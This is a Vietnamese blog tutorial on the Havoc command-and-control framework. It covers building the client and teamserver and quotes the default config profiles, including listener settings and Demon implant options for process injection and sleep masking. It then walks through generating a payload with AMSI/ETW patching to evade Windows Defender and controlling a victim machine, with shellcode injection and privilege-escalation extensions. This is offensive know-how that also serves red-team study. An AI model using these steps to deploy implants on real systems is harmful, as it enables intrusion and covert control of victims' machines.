- vừa được xem lúc

Tìm hiểu về Havoc C2 Framework

0 0 6

Người đăng: Bụng Rỗng

Theo Viblo Asia

Cobalt Strike, Brute Ratel và Metasploit Pro là những cái tên "lừng danh" trong lĩnh vực Command & Control (C2) Frameworks. Tuy nhiên, cũng chính vì sự nổi tiếng đó mà chúng luôn là mục tiêu của các phần mềm bảo mật, gây ra nhiều trở ngại trong quá trình tấn công. Hơn nữa với chi phí đắt đỏ , việc tiếp cận những công cụ này cũng trở nên rất khó khăn. Trước bối cảnh đó, Havoc Framework ra đời như một Framework thú vị với nhiều chức năng và hoàn toàn miễn phí.

1. Giới thiệu Havoc Framework

Havoc Framework được giới thiệu lần đầu vào tháng 10 năm 2022 bởi C5pider . Với khả năng bypass Windows Defender mạnh mẽ , khả năng phát triển linh hoạt cùng với nguồn dữ liệu phong phú , công cụ này nhanh chóng trở thành trợ thủ đắc lực cho các nhóm APT (Machete, machete-apt, APT-C-43, G0095)

Ảnh dưới đây thể hiện mức độ quan tâm của Hacker với công cụ này

Sự tăng / giảm số lượng người dùng phụ thuộc vào thời điểm mà công cụ này có khả năng bypass Windows Defender được hay không.

2. Cài đặt Havoc Framework

Giống như CobaltStrike , Havoc Framework sử dụng cơ chế client-server để vận hành, theo đó quá trình cài đặt sẽ diễn ra như sau :

Bước 1. Tiến hành cài đặt các gói phụ thuộc với câu lệnh sau

sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm

Bước 2. Xây dựng Havoc-Client

git clone https://github.com/HavocFramework/Havoc.git
make client-build

Sau khi biên dịch xong, ta khởi chạy Havoc client với câu lệnh sau :

./havoc client

Bước 3. Sau khi đã hoàn tất , ta thực hiện xây dựng Havoc-Teamserver

# Cài đặt gói phụ thuộc go mod download golang.org/x/sys go mod download github.com/ugorji/go # Biên dịch TeamServer
make ts-build 

3. Cấu hình Havoc Framework

3.1. Cấu hình Teamserver

Tương tự CobaltStrike , Havoc Framework cũng sử dụng Profiles để cấu hình C2 , nội dung file này được lưu trữ mặc định tại "Havoc/Teamserver/profiles/havocdefault.yaotl" sử dụng ngôn ngữ HCL với các thành phần sau :

Teamserver : Quy định giá trị Host / Port của máy chủ Hacker

Teamserver { Host = "0.0.0.0" Port = 40056
}

  • Host : IP của máy chủ Hacker
  • Port : Port của máy chủ Hacker (khuyến nghị thay đổi so với giá trị mặc định ban đầu)

Operators : Xác định giá trị Username/Password để đăng nhập Teamserver

Operators { user "5pider" { Password = "password1234" } user "Neo" { Password = "password1234" }
}

Demon : Cấu hình thông số mã độc thực thi trên máy nạn nhân

Demon { Sleep = 2 Jitter = 20 TrustXForwardedFor = false Implant { SleepMask = 1 SleepMaskTechnique = 0 } Injection { Spawn64 = "C:\\Windows\\System32\\notepad.exe" Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" }
}

  • Sleep : Khoảng thời gian chờ mặc định giữa các câu lệnh thực thi
  • Jitter : Jitter được áp dụng cho các khoảng thời gian chờ
  • TrustXForwardedFor : Cài đặt giá trị X-Forwarded-For cho host
  • Implant\SleepMask : Chấp nhận SleepMask
  • Implant\SleepMaskTechnique : Bao gồm các kỹ thuật che giấu tùy chọn WaitForSingleObjectEx (no obfuscation) , FOLIAGE , Ekko
  • Injection\Spawn64 : Process sẽ được mã độc hại injection với kiến trúc 64bit
  • Injection\Spawn32 : Process sẽ được mã độc hại injection với kiến trúc 32bit

Listeners : Cấu hình thông số lắng nghe trên máy Hacker

Havoc Framework hiện tại chỉ đáp ứng với 2 giao thức HTTP và HTTPS với config mặc định như sau:

Listeners { Http { Name = "HTTPS Listener" KillDate = "2006-01-02 15:04:05" WorkingHours = "8:00-17:00" Hosts = ["10.0.0.10"] PortBind = 443 PortConn = 443 Method = "POST" Secure = true UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" Uris = [ "/funny_cat.gif", "/index.php", "/test.txt", "/helloworld.js" ] Headers = [ "X-Havoc: true", "X-Havoc-Agent: Demon", ] Response { Headers = [ "Content-type: text/plain", "X-IsHavocFramework: true", ] } }
}

Trong đó các giá trị bao gồm :

  • Name : Tên của listener
  • KillDate (tùy chọn) : Cấu hình ngày Demon sẽ tự động shutdown
  • WorkingHours (tùy chọn) : Giờ mà Demon sẽ hoạt động
  • Hosts : IP được sử dụng để tương tác với Demon
  • PortBind /PortConn : Port được sử dụng để tương tác với Demon
  • Method : Phương thức sẽ được sử dụng để giao tiếp (HTTP hoặc HTTPS)
  • UserAgent : User Agent sẽ được Demon sử dụng
  • Headers / Response-Headers : Request và Response sẽ được Demon "giả lập" trong quá trình tương tác với nạn nhân

Hoàn tất cấu hình , ta khởi chạy Teamserver với câu lệnh sau

./teamserver server --profile ./profiles/havoc.yaotl -v --debug

Tất cả thông tin thu thập được sẽ nằm trong /Havoc/data/

3.2. Cấu hình Client

Để khởi chạy Havoc Client, ta sử dụng câu lệnh sau :

cd Havoc
./havoc client

Kết nối với TeamServer - điền các giá trị Name , Host , Port , Username , Password tương ứng với cấu hình trong Teamserver trước đó .

4. Thiết lập môi trường

Xây dựng môi trường với các thành phần sau :

  • Máy chủ Kali Linux chạy Havoc Framework (Hacker)
  • Máy chủ Windows 10 Pro đóng vai trò như máy tính nạn nhân (Victim).

4.1. Tạo một Listener

Bước 1. Để tạo một connection mới, trước tiên ta mở chức năng "View" > "Listeners"

Bước 2. Sau đó ta thấy chương trình hiển thị 3 chức năng bao gồm : "Add" , "Remote" , "Edit" . Sau khi ấn "Add" ta thấy cửa sổ hiện lên với tiêu đề "Create Listener"

Ở đây ta lần lượt điền các thông tin bao gồm :

  • Name : Tên của "Listener"
  • Payload : Kiểu Payload ta muốn sử dụng
  • Host (Bind): IP của máy chủ lắng nghe
  • Port : Port của máy chủ lắng nghe
  • User Agent: Dữ liệu hiển thị từ máy chủ kết nối tới C2

Bước 3. Sau khi điền đầy đủ các thông tin cần thiết, ta ấn "Save" để lưu lại

4.2. Tạo một mã độc hại (Demon)

Để tạo một mã độc hại ta tiến hành thực hiện các bước sau : Truy cập "Attack" > "Payload" > "Generate"

Các thông số cấu hình như sau :

  • Listener : Tên Listener mà ta đã cấu hình ở bước trên
  • Arch : Kiến trúc payload mã ta sẽ sử dụng (kiến trúc này phải trùng với môi trường mục tiêu)
  • Format : Định dạng của mã độc hại (.exe , .dll , shellcode ...)
  • Amsi/Etw Patch : Kỹ thuật được sử dụng để bypass AMSI - Windows Defender

4.3. Khởi chạy trên môi trường thực tế

Sau khi khởi chạy mã độc trên máy tính nạn nhân, hệ thống hiển thị với giao diện như sau :

Khu vực 3 : Chứa các thông tin về Listener , dữ liệu chat

Khu vực 2 : Chứa các thông tin về Event View

Khu vực 1 : Đây là nơi tương tác chính với hệ thống mục tiêu bao gồm đầy đủ các thông tin bao gồm ID , User , Computer Name , PID , Process ... Có thể chuyển đổi giao diện qua lại giữa chế độ Table View và Graph View

Để chạy command trên máy tính nạn nhân, ta click chuột phải vào giá trị "ID" chọn "Interact"

  • sleep [delay] : Quy định thời gian chạy giữa các câu lệnh
  • job [list/ suspend / resume] : Triển khai đa luồng các tác vụ chạy lâu
  • proc : Hệ thống quản lý và liệt kê quy trình
  • token : Tương tác với token hệ thống
  • shellcode : Injection shellcode vào các tiến trình được chỉ định

Để tìm kiếm file trên máy tính nạn nhân, ta chọn "Explorer"

Để thêm các Extension hỗ trợ việc tấn công, ta chọn "Attack" > "Extension" > "Install"

  • havoc-bloodhoud : Hỗ trợ mapping hệ thống mục tiêu (trong trường hợp sử dụng Active Directory)
  • havoc-privkit : Hỗ trợ tìm kiếm các lỗ hổng leo thang đặc quyền trên hệ thống mục tiêu
  • havoc-ducky : Tạo payload thực thi áp dụng với USB Ducky
  • Havoc-DLLHijack : Thực hiện DLL Hijacking trên hệ thống mục tiêu
  • Shhhavoc : Module tính hợp bypass các thành phần Anti Virus

Để bypass Windows Defender các bạn có thể tham khảo nội dung video này hoặc video này (Tại thời điểm mình viết bài, phương pháp này vẫn có thể sử dụng được)

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tạo ra virus bằng tool (Part1)

Virus. Tác hại của nó để lại cũng nặng nề:. . Gây khó chịu cho chúng ta là tác hại đầu tiên.

0 0 41

- vừa được xem lúc

Facebook và google "hiểu" chúng ta như thế nào?

Tổng quan. Đã bao giờ bạn gặp những tình huống dưới đây và đặt câu hỏi thắc mắc tại sao chưa.

0 0 41

- vừa được xem lúc

Mã hoá dữ liệu trên Android với Jetpack Security

Jetpack Security (JetSec) là thư viện được xây dựng từ Tink - dự án mã nguồn mở, bảo mật đa nền tảng của Google. Jetpack Security được sử dụng cho việc mã hoá File và SharedPreferences.

0 0 59

- vừa được xem lúc

Tái hiện vụ bị đánh cắp 2 triệu DAI (~2 triệu USD) của Akropolis

Tổng quan. .

0 0 103

- vừa được xem lúc

Bảo mật internet: HTTPS và SSL/TLS như giải thích cho trẻ 5 tuổi

(Mình chém gió đấy, trẻ 5 tuổi còn đang tập đọc mà hiểu được cái này thì là thần đồng, là thiên tài, là mình cũng lạy). . . Xin chào các bạn.

0 0 84

- vừa được xem lúc

Phân biệt server xịn và server pha ke bằng SSL Pinning

Xin chào các bạn, trong bài viết này mình muốn chia sẻ về một kĩ thuật rất nên dùng khi cần tăng tính bảo mật của kết nối internet: SSL Pinning. Trong bài viết trước, mình đã giải thích khá kĩ về SSL,

0 0 578